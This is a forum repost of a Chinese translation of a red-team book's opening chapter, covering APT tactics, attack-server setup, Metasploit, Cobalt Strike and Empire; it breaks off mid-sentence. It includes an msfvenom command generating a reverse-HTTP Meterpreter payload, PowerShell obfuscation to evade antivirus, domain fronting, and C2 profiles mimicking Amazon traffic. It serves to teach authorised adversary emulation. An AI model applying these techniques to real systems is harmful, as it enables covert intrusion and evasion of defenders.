taibeihacker
Moderator
第1章 赛前准备——安装
譯者:@Snowming作為紅隊人員,我們通常不太關注某次攻擊的目的(更關注的是攻擊手法)。相反,我們想從那些高級威脅組織的TTP(Tactics、Techniques Procedures)中學到更多。舉個例子,這是一個來自於火眼(FireEye)公司的公開的威脅情報分析報告。從報告中,我們可以看到:這個威脅組織使用推特作為C2 服務器,也使用了github 作為存儲加密圖片和經過信息隱寫文件的倉庫。 我們可以參考此報告,根據攻擊手法的特點來針對性的做出合適的防禦方案,來看你的公司是否能發現並攔截這種攻擊。
讓我們對APT 攻擊做一些基本的介紹。由MITRE 公司提出的ATTCK 矩陣( Adversarial Tactics, Techniques, and Common Knowledge matrix ) 是對APT 攻擊的詳細分解。這個矩陣中是一個在各種攻擊場景中使用的不同TTP 的大集合。
商用ATTCK 矩陣- Windows版

譯者註:
上面的矩陣僅僅包擴適用於Windows 平台的技術。完整的商用Enterprise ATT&CK 矩陣也包括適用於macOS和Linux平台的技術。
矩陣中的內容嚴格複製自原書。只是因為原書圖片分辨率太低,為了讀者的閱讀體驗,特意重新作圖。 ATTCK 矩陣至今沒有中文翻譯,因為譯者才疏學淺,不敢獻醜翻譯,故保留英文。但是需要說明的是,書中列出的矩陣內容,跟MITRE 公司官網給出的矩陣內容存在差異,可能是因為矩陣被重新修訂了。故給出Enterprise Matrix - Windows的官網地址供讀者參考。
另一個資源是@cyb3rops整理的APT組織與方法持續更新列表。這個谷歌文件列舉了世界多個國家的疑似APT 組織及其使用的工具集。對於紅隊成員來說,我們可以參考此文檔來模擬不同的攻擊。當然,我們可能不會使用與文檔中列舉的相同的工具,但是我們可以構建類似的工具來做同樣的攻擊。

假定攻破练习
面對安全問題,企業的正確態度是從一開始就應該預設自己已經被攻破了。然而事實是,如今太多的公司認為通過一些所謂的安全配置或者年度滲透測試,它們是安全的。我們需要進入一種思維狀態,我們總是蹲守,假設邪惡就潛伏在周圍,我們需要時刻尋找異常。這就是紅隊的活動與滲透測試有很大區別的地方。由於紅隊的活動重點是檢測/給出措施而不是漏洞,所以我們可以做更多獨特的評估。一種為客戶提供巨大價值的評估利益被稱為假定突破練習(assumed breach exercise)。在一個假定突破練習中,總會遇到一些0-day。那麼,客戶端能否識別和減輕第二階段和第三階段步驟的影響呢?
在這些場景中,紅隊與公司內部的有限團隊一起工作,在他們的服務器上執行一個定制的惡意軟件payload。這個payload 應該嘗試以多種方式連接,確保繞過常見的AV,並允許額外的payload 從內存中執行。我們將在整本書提供一些payload 的實例。一旦最初的payload 被執行,所有的樂趣就從這裡開始了!
设定你的行动
這是紅隊活動中我最喜歡的一部分。在進攻你的第一個系統之前,你需要確定你的紅隊活動範圍。在很多滲透測試中,你會得到一個目標,然後不斷地嘗試進入那個單一的系統。如果某件事情失敗了,你就繼續做下一件事。沒有腳本,你通常非常專注這個網絡。在紅隊活動中,我們從幾個目標開始。這些目標可以包括但不限於:
最終的目標是什麼?只是APT 檢測嗎?是要在服務器上獲取標誌嗎?是從數據庫中獲取數據嗎?或者只是為了得到檢測時效(TTD)指標?
是否有我們想要復制的公開活動?
你會用什麼技巧?我們討論過用MITRE ATTCK 矩陣,但是在每個類別中確切的技術是什麼?
紅金絲雀研究小組提供了每一種技術的詳細信息。我強烈建議你花點時間來查看這些詳細信息。
客戶希望你使用什麼工具?是一些諸如Metasploit、Cobalt Strike、DNS Cat 這樣的商業攻擊工具軟件?還是自製的定制化工具?
一個好消息是被抓住也是評估的一部分。有一些入侵中我們會被抓4到5次,然後在4到5個不同的環境中被消滅。這確實向你的客戶表明,他們的防禦如他們預期的一樣在起作用(或沒有起作用)。在書的最後,我將提供一些報告示例,說明我們如何獲取指標並報告這些數據。
设置你的外部服务器
我們使用許多不同的服務來建立我們的紅隊活動。在當今這個充斥著VPS的世界裡,在互聯網上抵抗攻擊者的機器不會超出你的預算。例如,我通常使用Digital Ocean 公司的Droplets 計算服務或AWS 的Lightsail 服務器來配置我的VPS 服務器。我使用這些服務的原因是它們通常成本很低(有時是免費的),可以選擇Ubuntu 系統的服務器,並且可以根據需要選擇購買不同區域的服務器。最重要的是,它們非常容易設置。在幾分鐘內,你就可以設置並運行多個服務器的Metasploit 和Empire 服務。在本書中,我將重點介紹AWS 的Lightsail 服務器,因為它易於設置、能夠自動化服務,以及通常流向AWS 的流量。在你成功創建了一個你喜歡的鏡像後,你可以快速地將該鏡像克隆到多個服務器,這使得構建現成的C2(Command and Control) box 非常容易。
同樣,你應該確保遵守VPS 提供者的服務條款,這樣你就不會陷入任何問題。
下面是操作要點:
創建一個實例
我強烈建議至少使用1gb內存
硬盤大小一般不會有什麼問題,可以隨意選擇
Linux/Unix
操作系統只選- Ubuntu
下載Cert(證書)
chmod 600 cert(譯者註:只有擁有者有讀寫權限)
ssh -i cert ubuntu@[ip]
搭建服務器的一個快速方法是集成TrustedSec 公司的滲透測試框架(PTF)。 PTF 框架是一些腳本的合集,可以為你做大量的艱苦工作並為其他所有內容創建了一個框架。讓我們通過一個快速示例來安裝我們所有的漏洞利用模塊,信息收集模塊,後滲透利用模塊,PowerShell 攻擊模塊和漏洞分析工具:
sudo su -
apt-get update
apt-get install python
git clonehttps://github.com/trustedsec/ptf/opt/ptf
cd /opt/ptf ./ptf
use modules/exploitation/install_update_all
use modules/intelligence-gathering/install_update_all
use modules/post-exploitation/install_update_all
use modules/powershell/install_update_all
use modules/vulnerability-analysis/install_update_all
cd /pentest
下圖顯示了所有的可用模塊,其中一些模塊是我們自己安裝的。

圖: 所有可用模塊的列表
如果我們查看我們的攻擊者VPS,就可以看到安裝在我們的機器上的所有工具。如果我們想要啟動Metasploit,我們可以輸入:msfconsole。

圖: 安裝在/pentest 文件夾下的所有工具
我仍然建議建立強大的IPTables 規則。因為這將是你的攻擊服務器,所以最好限制SSH 身份驗證可以從何處發起, Empire/Meterpreter/Cobalt Strike的payload 可以從何處發起,以及你所支持的任何釣魚頁面。
如果你還記得在2016年末,有人發現了未經身份驗證的遠程代碼執行(RCE) (https://blog.cobaltstrike.com/2016/...exploitation-reported/)。你肯定不希望客戶數據受到攻擊服務器的損害。
我曾經看到一些紅隊在AWS 中,使用Docker 運行Kali Linux (或者至少是Metasploit) (參考:http://bit.ly/2qz2vN9)。在我看來,雖然創建你自己的系統怎麼樣都可以。但是更好的選擇是創建一個高效且可重複的流程來部署多台機器。使用Lightsail 的最大好處是一旦你將你的機器配置為你的首選項,你就可以對一台機器進行快照,並部署使用該鏡像的多個全新實例。
如果你想讓你的環境更上一層樓,看看Coalfire 研究所的團隊。他們構建了自定義模塊來為你完成所有的艱苦工作和自動化。 Red Baron是Terraform 的一組模塊和自定義/第三方提供者,它可以為紅隊自動創建彈性、一次性、安全和靈活的基礎設施。無論你想要構建一個釣魚服務器,Cobalt Strike 基礎設施,或創建DNS C2 服務器,你都可以用Terraform 做到這一切。
查看https://github.com/Coalfire-Research/Red-Baron並查看所有不同的模塊以便快速構建你自己的基礎架構。
红队的核心工具
紅隊可能會使用很多工具,但是讓我們來討論些最核心的工具。請記住,作為一個紅隊成員,我們的目的不是破壞環境(雖然這是最有趣的),而是要復制現實世界的攻擊,以查看客戶是否受到保護,並可以在很短的時間內檢測到攻擊。在前面的章節中,我們了解瞭如何從其他APT 組織那裡複製攻擊者的概要文件和工具集,所以讓我們回顧一下一些最常見的紅隊工具。Metasploit 框架
本書不會像前幾本書那樣深入探討Metasploit。儘管Metasploit 框架最初是從2003 年開發的,但它現在仍然是一個非常棒的工具。這是由於最初的開發者H.D. Moore 和非常活躍的社區為它提供持續支持。這個社區驅動的框架,似乎每天更新,擁有所有最新的公開漏洞的利用、後滲透利用模塊、輔助模塊等等。對於紅隊項目,我們可能使用Metasploit 通過MS17-010永恆之藍漏洞危害內部系統,以獲得我們的第一個內網shell,或者我們可能使用Metasploit 為我們的社會工程攻擊生成一個Meterpreter payload。
在後面的章節中,我將向你展示如何重新編譯你的Metasploit payload 並繞過殺毒軟件和網絡監控。
混淆 Meterpreter 的 Payload
如果我們正在針對目標進行一些社工嘗試,我們可能會使用Word 或Excel 文檔作為我們的payload(攻擊載荷)的載體。 但是,一個潛在的問題是我們可能無法包含Meterpreter 的payload 的二進製文件或讓目標機器從Web 下載我們的payload,因為這些操作可能會觸發目標機器中的殺毒軟件的警報。 所以,這裡給出一個簡單的解決方案,使用PowerShell 進行模糊處理:msfvenom -payload windows/x64/meterpreter_reverse_http -format psh -out meterpreter-64.ps1 LHOST=127.0.0.1
我們甚至可以將混淆提升到新的水平,並使用Unicorn等工俱生成更多模糊的基於PowerShell 的Meterpreter payload,我們將在本書中詳細介紹這些混淆器。

此外,使用受信任的機構簽發的SSL/TLS 證書可以幫助我們繞過某些網絡中的IDS(入侵檢測系統),具體可以參考以下鏈接實現:Meterpreter Paranoid Mode。
最後,在本書的後面部分,我們將討論如何重新編譯利用Metasploit/Meterpreter 來繞過基於主機和網絡的檢測工具。
Cobalt Strike
Cobalt Strike 是迄今為止我最喜歡的紅隊模擬工具之一。什麼是Cobalt Strike 呢?它是一種用來後期持久滲透,橫向移動,流量隱藏、數據竊取的工具。 Cobalt Strike 並沒有直接的漏洞利用,也沒有通過最新的0-Day 漏洞來破壞系統。當你已經在服務器上執行了CS 的惡意代碼或者將CS 用作網絡釣魚活動的一部分時,你就能感受到CS 的功能是多麼廣泛並且強大。 一旦你可以在機器上執行Cobalt Strike 的payload,它創建一個Beacon(遠控木馬功能)連接回連到C2 服務器(teamserver)。新的Cobalt Strike 許可證的費用為3500美元(單用戶一年),所以它並不是一個便宜工具。 不過該軟件有免費的限量試用版。
Cobalt Strike 基础设施
正如上文所述,在基礎設施方面,我們希望設置這樣一個可重用且高度靈活的環境。 Cobalt Strike 支持重定向,當你的Cobalt Strike 使用的C2 域名被銷毀了,你不需要創建並啟用一個新的環境,只需要替換一個新的C2 域名。你可以在這裡找到更多的使用socat 配置這些重定向器的信息:鏈接1鏈接2
為了使你更好的重定向,我們可以使用域名前置(域名幌子)。域名前置是使用其他的域名和基礎設施的技術作為控制器重定向的技術集合(參考鏈接)。這可以通過使用流行的內容分發網絡(CDNs)來實現,如亞馬遜雲的CloudFront 或其他的Google Hosts 來隱蔽我們的流量源。這在過去曾被不同的攻擊者所利用過(參考鏈接)。
通過使用這些高信譽域名,無論HTTP 或HTTPS 的任何流量,看起來都像是它正在與這些域通信,而不是與我們的惡意C2 服務器通信。這一切是如何運作的?用一個比較抽象的例子來說,你的所有流量將被發送到CloudFront 的一個主要完全限定域名(FQDNs),例如a0.awsstatic.com,它是CloudFront 的主要域名。修改請求中的主機header 將把所有流量重定向到我們的CloudFront 分發(CloudFront distribution),後者最終會將流量轉發到我們的Cobalt Strike C2服務器上(參考鏈接)。

通過更改HTTP 主機的header,CDN 將很輕鬆的的的地把流量傳輸回到正確的服務器。紅隊一直使用這種技術通過使用高信譽域名來隱藏C2 服務器的流量。
另外兩個支持域名前置的兩個不同公司的優秀資源:
CyberArk 還寫了一篇很好的博客文章,在文章裡他介紹瞭如何使用谷歌的應用產品來使你的流量看起來是流經了www.google.com, mail.google.com 或者docs.google.com.
Vincent Yiu 寫了一篇關於如何使用阿里巴巴CDN 來支持自己的域名前置攻擊的文章。
Cobalt Strike 不是唯一可以支持域名前置的工具,也可以通過Meterpreter 來完成(參考鏈接)。
注:在本書出版時,AWS(甚至谷歌云)已經啟動實現對域名前置的保護(https://amzn.to/2I6lSry)。這並不能阻止這種類型的攻擊,只是需要不同的第三方資源來進行利用。
儘管不是基礎架構的一部分,但是我們還是應該要理解beacon 是如何在內部環境中工作的。在操作安全方面,我們應該避免建立會被輕易發現並清除的持久連接。作為一名紅隊成員,我們必須假設我們的一些客戶端是會被藍隊發現的。如果我們讓所有的主機都與一個或兩個C2 服務器通信,藍隊很容易就可以把整個基礎設施連根拔除。幸運的是,Cobalt Strike 支持內網主機之間使用基於SMB 的Beacon 來進行交互。這允許你讓一台受感染的計算機與你的C2 服務器進行正常且合適的beacon 連接,並使內部網絡上的所有其他的服務器通過SMB 協議與最初受感染的主機進行通信。採用這種連接方式,當藍隊檢測到一個二級系統有問題並進行取證分析,他們可能會無法識別與這次攻擊相關的C2 服務器域名。
Cobalt Strike 可以操縱你的Beacon 通信,這對紅隊成員來說是一個非常有用的特性。使用自定義C2 配置文件,你可以讓所有來自受感染主機系統的流量看起來和普通流量無異。現在我們會發現越來越多的內網環境中會針對第7層網絡應用層進行過濾。很多時候藍隊在這層中找尋那些網絡通信中的異常流量,那麼我們怎樣才能讓我們的C2通信變得如同正常的Web 流量呢?這就是可定制C2 配置文件發揮作用的地方。看看這個例子。閱讀這個例子,你會看到一些顯而易見的信息:
我們可以看出這將會產生帶有URI路徑的HTTP請求:
set uri “/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books”;
主機header 設置為Amazon:
header “Host” “www.amazon.com”;
甚至一些自定義服務器的header 也從C2 服務器發回:
header “x-amz-id-1” “THKUYEZKCKPGY5T42PZT”;
header “x-amz-id-2” “a21yZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rZmRuZ2t
現在很多紅隊已經在許多不同的活動中使用了這些配置文件,許多安全廠商已經給所有常見的自定義配置文件創建了指紋簽名。為了解決這個問題,我們能做的是: 確保修改了配置文件中的所有靜態字符串,確保更改了所有User-Agent 信息,使用真實的證書配置SSL(不要使用Cobalt Strike 默認的SSL 證書),調整抖動率,並更改客戶端的的beacon 時間。 最後一個注意事項是確保通過POST(http-post)命令進行通信,因為如果不這樣做可能會導致使用自定義配置文件時出現很多問題。 如果你的配置文件註明了通過http-get 進行通信,它仍然有效,但上傳大文件將一直被限制。 請記住,GET 請求通常限制在2048個字符以內。
SpectorOps 安全團隊還創建了可定制混淆C2 配置文件的項目.
譯者註: 這個腳本可以將Cobalt Strike 的配置文件進行混淆來繞過一些基於簽名檢測的軟件,其原理是將變量替換為提供的字典中的隨機字符串,然後輸出新的Malleable C2 配置文件。
Cobalt Strike 的 Aggressor 脚本
Cobalt Strike 項目有很多貢獻者。 Aggressor 腳本是一種面向紅隊操作和對手模擬的腳本語言,其靈感來源於可腳本化的IRC 客戶端和機器人。開發它的目的有兩個:你可以創建長時間運行的機器人來模擬虛擬紅隊成員,並與你並肩進行黑客攻擊
你還可以根據你的需要使用它來擴展和修改Cobalt Strike 客戶端的功能官方介紹頁面:https://www.cobaltstrike.com/aggressor-script/index.html
例子:HarleyQu1nn 將不同的Aggressor 腳本放在一個項目中提供給你用於後續漏洞利用:http://bit.ly/2qxIwPE
PowerShell Empire
Empire 是一個後期漏洞利用的框架,包含一個純PowerShell2.0 的Windows 代理和一個純Python 2.6/2.7 的Linux/OS X 代理。它是以前的PowerShell Empire 和Python EmPyre 項目的合併。 該框架提供了加密安全通信和靈活的架構。在PowerShell 方面,Empire 實現了無需powershell.exe 就可運行PowerShell 代理的功能。並且Empire 有很多可以快速部署的後期漏洞利用模塊,從鍵盤記錄器到Mimikatz。 Empire 還可以調整通信,躲避網絡檢測。所有的這些功能都封裝在一個以實用性為重點的框架中。對於紅隊人員來說,PowerShell 是我們最好的朋友之一。在初始化有效payload 之後,所有隨後的攻擊都保存在內存中。 Empire 最好的地方就是它被開發者積極地維護和更新中,以便你可以使用最新的後期漏洞利用模塊進行攻擊。 它們還具有適用於Linux 和OS X 的C2 連接。因此,你仍然可以創建基於MAC 的Office 宏,當執行之後,在Empire 中擁有一個全新的代理。
我們將通過本書更詳細地介紹Empire,以便你了解它的威力如何。在設置Empire 方面,確保你已安全地配置它非常重要:
將證書路徑CertPath 設置為一個真實可信的SSL 證書。
更改DefaultProfile 端點。許多第7層防火牆都在尋找確切的靜態端點。
更改用於通信的用戶代理。
在前兩版書中我們提過,Metasploit 的源文件用於自動化,Empire 現在也支持自動運行的腳本,這樣可以提高效率。
運行Empire:
初始化Empire
cd /opt/Empire ./setup/reset.sh
退出
exit
安裝證書(最好是使用真實受信任的證書)
./setup/cert.sh
開始運行Em